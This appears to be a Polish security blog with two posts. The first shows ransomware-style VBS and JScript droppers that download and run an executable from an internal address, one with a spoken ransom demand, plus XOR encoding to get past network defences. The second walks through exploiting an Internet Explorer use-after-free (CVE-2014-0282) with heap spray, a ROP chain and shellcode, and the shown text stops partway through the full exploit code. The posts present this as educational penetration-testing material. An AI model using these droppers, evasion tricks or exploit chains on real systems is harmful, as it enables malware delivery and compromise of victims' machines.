czwartek, 24 marca 2016

Omijanie sieciowych systemów bezpieczeństwa

Jednym z scenariuszy przy realizacji testów socjotechnicznych jest nakłonienie użytkownika do uruchomienia pliku zawierającego „złośliwe oprogramowanie”. 

Przygotowując i dostarczając taki plik musimy być pewni, że dotrze on do użytkownika (nie zostanie wykryty i zablokowany przez systemy bezpieczeństwa). Przy okazji należy pamiętać, że oprócz weryfikacji zachowania pracownika ważne jest również sprawdzenie stosowanych zabezpieczeń przez organizację. Dlatego też powinno się przeprowadzić różne próby dostarczenia „złośliwych plików” do użytkownika. Poniżej opiszemy kilka przykładów z użyciem języków Visual Basic Script oraz JavaScript. 

Opisywane przykłady mogą być wykorzystywane wyłącznie w celach edukacyjnych.

Zacznijmy od rzeczywistych ataków i metod obecnie wykorzystywanych przez przestępców. Idealnie do tego celu nadaje się przykład ataku obecnie przeprowadzanego na użytkowników w Polsce (ale nie tylko). Poniżej fragment pliku invoice_copy.js (javascript) przesłanego w pliku ZIP [1]. Skrypt po uruchomieniu pobiera i uruchamia jedną z wersji cryptolocker-a. 


Kolejne fragment – tym razem próbka z dnia wczorajszego [2].


Powyższa zawartość jest obfuskowana ale po deobfuskacji kod odpowiedzialny za pobieranie i uruchomienie pliku exe jest zbliżony do tego przedstawionego poniżej. Ten kod VBS można również umieszczać jako makra.

strFileURL = "http://10.255.0.100/prevenity.exe"
strHDLocation = "prevenity.exe"
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
  set objADOStream = CreateObject("ADODB.Stream")
  objADOStream.Open
  objADOStream.Type = 1
  objADOStream.Write objXMLHTTP.ResponseBody
  objADOStream.Position = 0
  objADOStream.SaveToFile strHDLocation
  objADOStream.Close
End if

CreateObject("WScript.Shell").Run "prevenity.exe"


I wersja javascript uzupełniona o moduł Microsoft Speech, która poinformuje użytkownika o zaszyfrowanych plikach ale również numerze konta w banku.

var strFileURL = "http://10.255.0.100/prevenity.exe";
var strHDLocation = "prevenity.exe";
var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
objXMLHTTP.open("GET", strFileURL, false);
objXMLHTTP.send();
var stat = 200

if (objXMLHTTP.status == 200)
  {
   var objADOStream = new ActiveXObject("ADODB.Stream");
   objADOStream.Open();
   objADOStream.Type = 1;
   objADOStream.Write(objXMLHTTP.ResponseBody);
   objADOStream.Position = 0;
   objADOStream.SaveToFile(strHDLocation)
   objADOStream.Close();
  }

new ActiveXObject("WScript.Shell").Run("prevenity.exe");
new ActiveXObject("SAPI.SPVoice").Speak("Your documents have been encrypted. Please transfer 1000$ to account number 1 1 1 1 1 1 1 1 1 1. Reference number is 666.");


Jak możemy zauważyć plik pobierany jest za pomocą protokołu http co powoduje, że może być wykryty przez sieciowe systemy bezpieczeństwa. Możemy zastosować protokół https ale obecnie wiele organizacji stosuje narzędzia do deszyfracji ruchu. Dlatego lepszym rozwiązaniem wydaje się zaimplementowanie prostego mechanizmu kodującego plik.
Najprostsza metoda to zastosowanie XOR. Poniżej fragment kodu VBS który przed uruchomieniem odkoduje plik wykonywalny kluczem 0xC.

Do Until objStreamIn.AtEndOfStream
   objFileOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor "12" )
   Loop


Dodatkowo plik znajdujący się na serwerze możemy zakodować w base64 po zastosowaniu funkcji XOR lub funkcji szyfrującej.
Niestety ta metoda nie zadziała w wersji javascript. Musimy zastosować tablicę do zapisu poszczególnych bajtów. Dopiero wtedy możemy je dowolnie kodować lub szyfrować. Poniżej przykład funkcji przygotowującej plik do umieszczenia na serwerze www:

var objFSO = new ActiveXObject("Scripting.FileSystemObject");
var objFileIn = objFSO.GetFile("prevenity.exe");
var objFileOut = objFSO.CreateTextFile("plik_docelowy", true, false);
var objStreamIn = objFileIn.OpenAsTextStream(1,0);

var byteArray = [];

while (!objStreamIn.AtEndOfStream) {
var z = objStreamIn.Read(1);
byteArray.push(z.charCodeAt(0) ^ 12);
  }
objFileOut.Write(byteArray);

objFileOut.Close();


Fragment zakodowanego pliku exe, który nie będzie wykrywany przez sieciowe systemy bezpieczeństwa.


Pliku dekodującego nie umieszczamy w tym artykule.

MD5 skryptów js.

[1] E836FCC007C873758B1CCF4C0D6732E0
[2] 36E20991158A4A15AEFEEB64F50CE7E3

piątek, 26 lutego 2016

Ćwiczenie: Przykład wykorzystania błędu Use after Free.

Wracamy po przerwie, którą zakończyły ferie zimowe. Dzisiaj nieco dłuższy opis jednej z podatności Use after Free (UaF) dla Internet Explorer 6-11. Poprawki dla błędu opisanego w CVE-2014-0282 [0] pojawiły się w czerwcu 2014 roku więc obecnie raczej nie znajdziemy podatnych systemów. Niemniej opis może posłużyć jako ćwiczenie do zrozumienia mechanizmów działania i napisania lub dostosowanie własnego exploit-a.

Wstęp
Środowisko wykorzystanie w poniższym opisie to: Windows 7 (32-bit) z Internet Explorer 8, Debugging Tools for Windows 6.12.633, Immunity Debugger, skrypty mona.py oraz msfvenom.
Zaczynamy od uruchomienia [1] Proof of Concept generującego błąd access violation.


W celu uzyskania większej ilości informacji o błędzie musimy:
  • Ustawić Windows Debugger jako domyślnie uruchamiany przy wywołaniu błędu (tzw. postmortem debugger) – polecenie windbg –I.
  • Ustawić dwie flagi dla aplikacji Internet Explorer – polecenie gflags.exe /i iexplore.exe +hpe +ust (UST – user mode stack trace pozwoli nam prześledzić zdarzenia tuż przed wystąpieniem błędu, HPE – page heap powiadomi nas w momencie próby dostępu do zwolnionego obszaru pamięci).
  • Należy również włączyć filtr w windbg dotyczący obsługi błędów typu access violation.
Po uruchomieniu powyższego kodu powinniśmy otrzymać efekt jak poniżej:

Windbg przejął kontrolę na obsługą błędu access violation. Jedna z metod modułu mshtml.dll (GetLookasidePtr) próbowała uzyskać dostęp do obszaru pamięci pod adresem 0x7664fbc. Adres ten jest wyliczany z wartości przechowywanej w rejestrze esi, która w tym przypadku wynosi 0x7664fa0. Za pomocą komendy kv wyświetlamy ramki stosu prowadzące do miejsca gdzie wystąpił błąd.

0:005> kv
ChildEBP RetAddr  Args to Child             
0430ed80 6757b90e 08adcfd0 00001200 67668b24 mshtml!CElement::GetLookasidePtr+0x7 (FPO: [0,0,0])
0430eda4 672baed1 0629efb0 08adcfd0 672bae9e mshtml!CFormElement::DoReset+0x9c
0430edc0 6736235c 0629efb0 08adcfd0 060cefd8 mshtml!Method_void_void+0x75
0430ee34 6736c75a 0629efb0 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
0430ee84 6738d0cb 0629efb0 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d
0430eec0 67313104 0629efb0 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0
0430ef14 6ab2a22a 06066fd8 000003f2 00000001 mshtml!PlainInvokeEx+0xeb
0430ef50 6ab2a175 0702ed10 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104
0430ef8c 6ab2a3f6 0702ed10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a


Metoda, która odwołuje się do tego adresu to CElement::GetLookasidePtr. Metodą bezpośrednio wywołującą GetLookasidePtr jest CFormElement::DoReset. Jest ona wywoływana gdy resetowana jest wartość elementów formularza za pomocą metody javascript Reset().
Metoda CFormElement :: DoReset wykorzystywana jest w obiektach typu CElement. Jak okaże się później metoda odpowiadająca za tworzenie obiektów tego typu to CTextArea::CreateElement. Obiekt alokowany jest na domyślnej stercie a jego rozmiar to 0x60 (dla IE 8). Poprawka Microsoft między innymi alokuje obiekty tego typu na oddzielnej stercie - tzw. isolated heap (sterta dla krytycznych obiektów Internet Explorer takich jak CElement, CSVGElement, CMarkup czy CTreeNode).
Metoda CFormElement::DoReset po kolei sprawdza wszystkie elementy w istniejącym formularzu i wywołuje dla każdej z nich DoReset(). Dla przykładu metoda CInput::DoReset() dla elementów input czy CRichtext::DoReset dla textarea. W tym samym czasie inne wewnętrzne wywołanie DoReset może „zwolnić” element w formularzu (np. poprzez wyczyszczenie elementów innerHTML form).
W skrypcie PoC wywołującym błąd mamy element testFM, który jest resetowany w funkcji changer().
Wspomnieliśmy, że błąd jest wywoływany w momencie gdy funkcja GetLookasidePtr próbuje uzyskać dostęp do ESI+0x1Ch. ESI zazwyczaj jest wykorzystywany jako wskaźnik do obiektów. Komenda heap –p –a esi pozwoli nam sprawdzić szczegóły dot. alokowanych obiektów na stercie.

0:005> !heap -p -a esi
    address 07664fa0 found in
    _DPH_HEAP_ROOT @ 1f1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    7650bc8:          7664000             2000
    703990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77545674 ntdll!RtlDebugFreeHeap+0x0000002f
    77507aca ntdll!RtlpFreeHeap+0x0000005d
    774d2d68 ntdll!RtlFreeHeap+0x00000142
    7594f1ac kernel32!HeapFree+0x00000014
    6717daa1 mshtml!CTextArea::`scalar deleting destructor'+0x0000002b
    672f7dd0 mshtml!CBase::SubRelease+0x00000022
    67350fdf mshtml!CElement::PrivateExitTree+0x00000011
    …

Możemy zauważyć, że przed wywołaniem funkcji FreeHeap dostęp do pamięci która była zwolniona miała funkcja mshtml!CTextArea. Oznacza to, że zwolniony obiekt to CTextArea. W skrypcie PoC mamy dwa takie obiekty w formularzu testfm.
Wyświetlając wszystkie metody klasy CTextArea za pomocą narzędzia IDA widzimy, że metoda CreateElement(), odpowiada m.in. za alokacje obiektu.

W celu wykorzystania błędy UaF do przejęcia kontroli nad zdalnym systemem istotnym elementem jest określenie rozmiaru alokowanego obiektu. Na powyższym zrzucie z IDA widzimy, że jest to wartość 0x60 (To samo możemy uzyskać analizując CreateElement z poziomu windbg).

0:005> u mshtml!CTextArea::CreateElement
mshtml!CTextArea::CreateElement:
6715cde4 8bff            mov     edi,edi
6715cde6 55              push    ebp
6715cde7 8bec            mov     ebp,esp
6715cde9 56              push    esi
6715cdea 6a60            push    60h
6715cdec 6a08            push    8
6715cdee ff3518446667    push    dword ptr [mshtml!g_hProcessHeap (67664418)]
6715cdf4 ff15c4121367    call    dword ptr [mshtml!_imp__HeapAlloc (671312c4)]

Dla przypomnienia argumenty przekazywane do HeapAlloc() to:

push    60h             ; dwBytes
push    8               ; dwFlags
push    _g_hProcessHeap ; hHeap
call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)


gdzie dwBytes określa rozmiar przydzielanej pamięci dla obiektu CTextArea.

W tym momencie możemy już wyłączyć flagi dla aplikacji Internet Explorer.

Use after Free

Wykorzystując wbudowane w przeglądarkę Internet Explorer narzędzia programistyczne (debugger) oraz dwa poniższe breakpoint-y warunkowe dla windbg jesteśmy w stanie dokładnie prześledzić moment alokacji, zwalniania i ponownego dostępu do zwolnionego obiektu.

Po załadowaniu skryptu do przeglądarki i uruchomieniu narzędzi programistycznych ustawiamy breakpoint-y na funkcji changer().

Z poziomu windbg dodajemy dwa breakpoint-y warunkowe. Pierwszy ma zadziałać przy wyjściu z funkcji RtlAllocateHeap. Dla ograniczenia ilości wyników ustawiamy warunek, że alokowany obszar ma wynosić 0x60. Dodatkowo chcemy aby automatycznie wskazał adres pamięci zarezerwowany dla obiektu.

bp ntdll!RtlAllocateHeap+0xe6 "r $t0=esp+0xc;.if (poi(@$t0) = 0x60) {.printf \"RtlAllocateHeap hHEAP 0x%x, \", poi(@esp+4);.printf \"Size: 0x%x, \", poi(@$t0);.printf \"Allocated chunk at 0x%x\", eax;.echo;ln poi(@esp);.echo};g"

Proszę pamiętać, że offset dla RtlAllocateHeap jest różny w zależności do wersji i service pack systemu Windows.
Drugi breakpoint warunkowy dotyczy zwalniania obszaru pamięci. Przy każdym wywołaniu funkcji HeapFree będziemy wyświetlali między innymi adres zwalnianej pamięci.

bp kernel32!HeapFree ".printf \"HeapFree hHeap 0x%x, \", poi(@esp+4);.printf \"Dealloc chunk at 0x%x, \", poi(@esp+0xc);.echo;ln poi(@esp);.echo;g"

Możemy zauważyć, że w obu w/w przypadkach wyświetlamy wartości ze stosu.
Teraz uruchamiając skrypt i „śledząc” go krok po kroku w oknie windbg będą pojawiały się informacje dotyczące alokowanych i zwalnianych obiektów.

Zaalokowanie obiektu pod adresem 0x2bc9c0:

RtlAllocateHeap hHEAP 0x270000, Size: 0x60, Allocate chunk at 0x2bc9c0
(68c8cde4)   mshtml!CTextArea::CreateElement+0x16   |  (68c8ce38)   mshtml!CTextArea::`vftable'

Funkcja zwalniająca przestrzeń pamięci na stercie:

HeapFree hHeap 0x270000, Dealloc chunk at 0x2bc9c0,
(68cada76)   mshtml!CTextArea::`scalar deleting destructor'+0x2b   |  (68cadaae)   mshtml!CRichtext::~CRichtext

Próba dostępu do zwolnionego obszaru pamięci 0x2bc9c0:

(124.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=003217d0 ecx=002bc9c0 edx=00000004 esi=002bc9c0 edi=00000002
eip=690ab956 esp=0209ec00 ebp=0209ec1c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CFormElement::DoReset+0xe4:
690ab956 ff90c8010000    call    dword ptr [eax+1C8h] ds:0023:000001cb=????????

Wiemy już, że zidentyfikowany błąd jest typu UAF. W celu wykorzystania tego typu błędów wymagane jest wykonanie dwóch kroków.
Pierwszy krok to zwolnienie zasobów a drugi to ponowne zarezerwowanie zwolnionego obszaru pamięci. W tym miejscu w pamięci musimy umieścić dane, które pozwolą nam na uruchomienie naszego kodu. Realokacja poprzednio zwolnionego miejsca w pamięci zależy od implementacji zarządzania stertą w konkretnej wersji systemu.

My musimy w pamięci umieścić dużą ilość obiektów (aby zwiększyć prawdopodobieństwo uzyskania dostępu do tego samego obszaru), których rozmiar jest taki sam jak rozmiar zwolnionego obszaru – czyli 0x60. Wykorzystamy fragment kodu javascript z [2] w celu utworzenia tablicy 100 obiektów img. Po wyczyszczeniu formularza wszystkie tytuły obiektów będą miały zapisany ciąg znaków typu string o rozmiarze zwolnionego obiektu. Wykorzystanie obiektów BSTR zawierających nasz string jest standardowym mechanizmem umieszczania danych przez nas kontrolowanych na stercie. Domyślnie ciągi znaków umieszczane są w formacie UNICODE. W celu poprawnego zapisu wykorzystujemy funkcję unescape() z formatowaniem %u. Poniżej właściwy kod:

<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer()
{
  if (startfl)
  {
var c = new Array(100);
for (var a = 0; a < 100; a++) {
c[a] = document.createElement('img'); }
document.getElementById("testfm").innerHTML = "";
var b1 = "%u4141%u4141";
for (var a = 4; a < 94; a += 2)
    {
      b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++) {
      c[a].title = b;
    }
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>


Uruchamiamy powyższy skrypt i za pomocą warunkowych breakpoint-ów monitorujemy funkcje odpowiedzialne za alokacje i zwalnianie pamięci.

Pierwsza alokacja:

RtlAllocateHeap hHEAP 0xc0000, Size: 0x60, Allocate chunk at 0x10ca28
(68c8cde4)   mshtml!CTextArea::CreateElement+0x16   |  (68c8ce38)   mshtml!CTextArea::`vftable'

Zwolnienie obiektu:

HeapFree hHeap 0xc0000, Dealloc chunk at 0x10ca28,
(68cada76)   mshtml!CTextArea::`scalar deleting destructor'+0x2b   |  (68cadaae)   mshtml!CRichtext::~CRichtext

Ponowna alokacja tym razem przez obiekt string o wielkości dokładnie 0x60. Alokowany jest w tym samym miejscu w pamięci:

RtlAllocateHeap hHEAP 0xc0000, Size: 0x60, Allocate chunk at 0x10ca28
(68e44c9f)   mshtml!_HeapAllocString+0x51   |  (68e44d1a)   mshtml!_tcsicmp

Próba dostępu do obiektu przez DoReset():

(d1c.e4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0013ebd0 ecx=0010ca28 edx=00000004 esi=0010ca28 edi=00000002
eip=690ab956 esp=020eef38 ebp=020eef54 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CFormElement::DoReset+0xe4:
690ab956 ff90c8010000    call    dword ptr [eax+1C8h] ds:0023:41414309=????????

Virtual Table

W rejestrze eax mamy nasze dane (zmienna b1 z PoC). Co istotnie DoReset() wywołuje funkcję spod adresu EAX+0x1C8 dlatego że DoReset() odwołuje się do funkcji wirtualnej tablicy. Ponieważ zamieniamy ją na obiekt innego typu zamiast wirtualnej funkcji z „vtable” będzie wskazanie do naszego adresu. Funkcje wskazywane w tablicy są związane z tworzonymi obiektami i mechanizmami dziedziczenia w językach programowania obiektowych.

Spróbujemy prześledzić jeszcze jedno wywołanie błędu:

Alokowanie obiektu:
RtlAllocateHeap hHEAP 0x310000, Size: 0x60, Allocate chunk at 0x35abe8
(67dfcde4)   mshtml!CTextArea::CreateElement+0x16   |  (67dfce38)   mshtml!CTextArea::`vftable'

Odwołanie z DoReset do funkcji z vtable:

Breakpoint 1 hit
eax=67dfce38 ebx=0034d590 ecx=0035abe8 edx=00000004 esi=0035abe8 edi=00000002
eip=6821b956 esp=01faef30 ebp=01faef4c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CFormElement::DoReset+0xe4:
6821b956 ff90c8010000    call    dword ptr [eax+1C8h] ds:0023:67dfd000={mshtml!CRichtext::DoReset (681f9193)}

Wyświetlamy informacje o obiekcie umieszczonym na stercie pod adresem z ESI. Debugger informuje nas że jest to CTextArea i bezpośrednio pod tym adresem znajduje się virtual function table.

0:005> !heap -p -a 0035abe8
    address 0035abe8 found in
    _HEAP @ 310000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0035abe0 000d 0000  [00]   0035abe8    00060 - (busy)
          mshtml!CTextArea::`vftable'

Wskaźnik do funkcji to 0x67dfce38:

0:005> dd 0035abe8
0035abe8  67dfce38 00000001 00000008 0038cac8
0035abe8  00000000 0034d2d0 00000065 00016200
0035ac08  00000020 003308d0 00000000 00000000
0035ac18  00000000 00000100 00000000 00000000
0035ac28  00000001 00000000 00000000 00000000
0035ac38  00000000 00000000 00000000 00000000
0035ac48  1d2898e3 88000000 00000000 00000004
0035ac58  00000000 00000000 00000002 00000000

0:005> ln 67dfce38
(67dfce38)   mshtml!CTextArea::`vftable'   |  (67e1d0c0)   mshtml!`string'
Exact matches:
    mshtml!CTextArea::`vftable' = <no type information>

Po zwolnieniu tego obiektu i ponownym zarezerwowaniu pamięci pod adresem 0x35abe8 mamy nasze dane:

0:005> dd 0035abe8
0035abe8 41414141 42424242 42424242 42424242
0035abe8  42424242 42424242 42424242 42424242
0035ac08  42424242 42424242 42424242 42424242

Oznacza to, że najprawdopodobniej możemy przejąć kontrolę nad przeglądarką i wykonać wskazany przez nas kod.

Heap Spraying

W celu wykonania naszego kodu musimy go najpierw załadować do pamięci. W przypadku przeglądarek (ale nie tylko) umożliwia nam to mechanizm tzw. heap spraying. Czyli zarezerwowanie dużej ilości pamięci (i umieszczenie naszego kodu), w tym miejsca w pamięci do którego możemy się odwołać i znamy adres tego miejsca podczas złośliwego kodu. Najlepszym dokumentem wprowadzającym do tej techniki jest [3] i [4]. Często wykorzystywanym „uniwersalnym” adresem jest 0x0c0c0c0c. Użyjemy poniższego skryptu [5] do wypełnienia pamięci blokami danych zawierającymi nasz kod wykonywalny.  Skrypt dodajemy na początek pliku PoC.

<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 block
    Padding = '';
    NopSlide = '';
 
    var Shellcode = unescape(
    "%u4141%u4141" + "");   
   
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4141');}
    for (c = 0; c < block_size; c++){
   
        if (c == 226){
            NopSlide += unescape('%u4242%u4242');  (stack pivot)
            c++;
        }else
        {
            NopSlide += unescape('%u9090');
        }
    }
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
</script>


W drugim skrypcie (wywołującym błąd) zmieniamy zawartość zmiennej b1 na:

var b1 = unescape("%u0c0c%u0c0c");

Po uruchomieniu w przeglądarce IE powinniśmy otrzymać podobny wynik. W rejestrze EAX jest wpisany adres 0x0c0c0c0c a EIP próbuje uzyskać dostęp do adresu 0x42424242.


DEP i ROP
Ze względu na włączony mechanizm Data Execution Protection (DEP) w systemach Windows nie możemy wykonać naszego kodu umieszczonego na stercie (obszar pamięci  nie ma ustawionej flagi execute). Technika która umożliwia ominięcie tego mechanizmu to Return Oriented Programming (ROP). W skrócie polega ona na wykorzystaniu kodu wykonywalnego, który już jest w pamięci komputera – czyli przede wszystkim bibliotek dll. Każda funkcja w kodzie wykonywalnym kończy się instrukcją RET, która pobiera ze stosu adres kolejnej instrukcji do wykonania. Wyszukując takie fragmentu funkcji (od jednej do kilku instrukcji poprzedzających RET) nazywane gadżetami ROP można zbudować kod wykonywalny, który wykona jakąś konkretną operację.
W celu wykorzystania techniki ROP musimy znaleźć ciąg odpowiednich gadżetów ROP oraz stworzyć dla nich właściwy stos. Tak budowany stos za pomocą techniki heap spraying ładujemy do pamięci. Następnie musimy ustawić rejestr ESP (wskazuje górę stosu) na miejsce w pamięci gdzie będzie nowy stos. Jest to działanie nazywane tzw. stack pivot. Najczęściej do tego celu wykorzystywaną instrukcją jest XCHG EAX, ESP.
My kontrolujemy EAX, które na powyższym zrzucie z windbg wskazuje na 0x0c0c0c0. To będzie nasza góra stosu.

ASLR
Kolejny problem jaki musimy rozwiązać to „ominięcie” mechanizmu Address Space Layout Randomization (ASLR). Obecnie prawie wszystkie aplikacje i jej komponenty (np. biblioteki) kompilowane są z obsługą ASLR co powoduje, że przy każdym uruchomieniu aplikacji zmieniają się adresy do których ładowana jest aplikacja, jej komponenty a także inne struktury danych związane z procesem aplikacji. Obecnie możliwości ominięcia ASLR są ściśle powiązane z konkretną podatnością i środowiskiem w którym działa podatna aplikacja. Najskuteczniejszą (najbardziej uniwersalną) metodą ominięcia ASLR jest identyfikacja i wykorzystanie błędów związanych z wyciekiem danych. Mając adres do konkretnego obiektu możemy wyliczyć przesunięcie do innych obiektów które nas interesują. Nie zawsze wycieki pamięci są możliwe do identyfikacji.
My wykorzystamy inny mechanizm „ominięcia” ASLR, który jest łatwy do implementacji ale dodaje kolejny warunek konieczny do spełnienia przy próbie ataku. Wykorzystamy bibliotekę, która nie jest skompilowana ze wsparciem dla ASLR. Biblioteka hxds.dll instalowana jest razem z pakietem Microsoft Office 2007/2010. Nie jest ona ładowana domyślnie do przestrzeni adresowej przeglądarki Internet Explorer ale nie jest to problem. Dodajemy do naszego pliku PoC kolejny skrypt:

<SCRIPT language="JavaScript">
   location.href = 'ms-help:'
</SCRIPT>



Po uruchomieniu skryptu do pamięci ładowana jest biblioteka – co widoczne jest na zrzucie ekranu z Process Explorer-a.
Budowa payload
Podsumowując to co napisaliśmy powyżej. ASLR ominiemy wykorzystując znane adresy w bibliotece hxds.dll. Za pomocą gadżetów ROP ominiemy mechanizm DEP i będziemy mogli wykonać złośliwy kod. Ponieważ tworzenie kodu z gadżetów jest czasochłonne ograniczmy się do minimum i tej techniku użyjemy wyłącznie do zmiany uprawnień (za pomocą funkcji VirtualProtect) dla strony która zawiera załadowany przez nas kod. To pozwoli na wykonanie kolejnej części payload zawierającej shellcode.

Musimy teraz skonstruować payload, który będzie:
  • Zmieniał adres stosu na 0x0c0c0c0c (instrukcja XCHG) – tzw. stack pivot
  • Wskaże łańcuch gadżetów ROP wywołujący funkcje VirtualProtect() zmieniającej uprawnienia do strony (ustawiającą między innym Page_execute).
  • Zawierał shellcode uruchamiający naszą komendę (np. calc.exe).
Większość z powyższych zadań możemy wykonać za pomocą skryptu mona.py i narzędzia Immunity Debugger. Uruchamiając Immunity Debugger jako administrator możemy zarejestrować go jako „just in time debugger). Następnie podłączamy się pod proces przeglądarki i jeszcze raz uruchamiamy skrypt. Po wygenerowaniu błędu uruchamiamy komendę !mona rop. Po chwili otrzymujemy wynik. Dla nas interesujące są dwa pliki wynikowe rop.txt oraz rop_chains.txt. W pierwszym z nich znajdziemy adres instrukcji wykonującej operację zmiany adresu stosu:

0x51bd28df :  # XCHG EAX,ESP # RETN    ** [hxds.dll] **   |   {PAGE_EXECUTE_READ}

W naszym skrypcie modyfikujemy poniższą linie z:

var Shellcode = unescape("%u4141%u4141" + "");   

NopSlide += unescape('%u4242%u4242');  (stack pivot)
... 

na

var Shellcode = unescape("%u4444%u4444" + "");

NopSlide += unescape('%u28df%u51bd');  (stack pivot z 0x51bd28df)
...


Po ponownym uruchomieniu otrzymujemy kolejny błąd ale możemy zauważyć, że ESP wskazuje na 0x0c0c0c10 a EIP zawiera wartość 0x44444444.



Możemy teraz zacząć budować końcowy payload. W pliku rop_chains.txt znajdują się wygenerowane automatycznie gadżety ROP. Nas interesuje wersja javascript dla funkcji VirtualProtect(). Skrypt mona.py wygenerował pełen łańcuch ROP. Czasami zdarza się, że brakuje kilku wartości i wtedy sami musimy uzupełniać łańcuch wyszukując odpowiednie gadżety ROP.

rop_gadgets = unescape(
    "%ubc0f%u51bf" + // 0x51bfbc0f : ,# POP ESI # RETN [hxds.dll]
    "%u1158%u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll]
    "%u2d2e%u51bd" + // 0x51bd2d2e : ,# MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll]
    "%u9987%u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll]
    "%u9613%u51bd" + // 0x51bd9613 : ,# POP EBP # RETN [hxds.dll]
    "%ub7ef%u51c4" + // 0x51c4b7ef : ,# & jmp esp [hxds.dll]
    "%u26dd%u51bd" + // 0x51bd26dd : ,# POP EBX # RETN [hxds.dll]
    "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
    "%ua969%u51bf" + // 0x51bfa969 : ,# POP EDX # RETN [hxds.dll]
    "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
    "%u5863%u51c3" + // 0x51c35863 : ,# POP ECX # RETN [hxds.dll]
    "%u0f0f%u51c6" + // 0x51c60f0f : ,# &Writable location [hxds.dll]
    "%u41ad%u51bd" + // 0x51bd41ad : ,# POP EDI # RETN [hxds.dll]
    "%u5c46%u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]
    "%uc8b6%u51be" + // 0x51bec8b6 : ,# POP EAX # RETN [hxds.dll]
    "%u9090%u9090" + // 0x90909090 : ,# nop
    "%ua4ec%u51c0" + // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]
    ""); //  :


Dodając powyższy fragment do zmiennej shellcode musimy pamiętać o dokładnym umieszczeniu adresu do instrukcji zmieniającej wskaźnik do stosu. Oznacza to, że musimy wyliczyć miejsce gdzie dokładnie w tworzonych blokach pamięci umieścić ten adres. Jest to związane z tym fragmentem funkcji DoReset():

call    dword ptr [eax+1C8h] //w eax będzie 0x0c0c0c0c

Blok zawiera 0x1000 bajtów. Jego struktura jest następująca Padding + Shellcode + NopSlide. Dlatego przy rozbudowywaniu shellcode musimy uwzględniać fragment NopSlide w którym umieszczony jest adres do instrukcji zmieniającej stos (zmienna c).
Sprawdzamy czy funkcja VirtualProtect() działa prawidłowo ustawiając breakpoint na niej (w bibliotece kernel32.dll). Stos w chwili wywołania funkcji VirtualProtect() powinien wyglądać tak:
Ostatni wykonany gadżet ROP z adresu (0x51c4b7ef) z biblioteki hxds zawiera instrukcje jmp esp gdzie ESP wskazuje na adres 0x0c0c0c4c.
Pozostaje nam tylko umieścić shellcode, który już bez problemów zostanie wykonany gdyż fragment pamięci ma już ustawione flagi Read, Write oraz upragnioną Execute.
Za pomocą skryptu msfvenom generujemy shellcode uruchamiający program calc.exe.


Dodajemy go do zmiennej shellcode i modyfikujemy zmienną C.
Poniżej znajduje się pełny kod exploit-a.

<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<SCRIPT language="JavaScript">
   location.href = 'ms-help:'
</SCRIPT>
<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 block
    Padding = '';
    NopSlide = '';
         
    var Shellcode = unescape(
“%ubc0f%u51bf" + // 0x51bfbc0f : ,# POP ESI # RETN [hxds.dll]
"%u1158%u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll]
"%u2d2e%u51bd" + // 0x51bd2d2e : ,# MOV EAX, PTR DS:[ESI]#RETN[hxds.dll]
"%u9987%u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll]
"%u9613%u51bd" + // 0x51bd9613 : ,# POP EBP # RETN [hxds.dll]
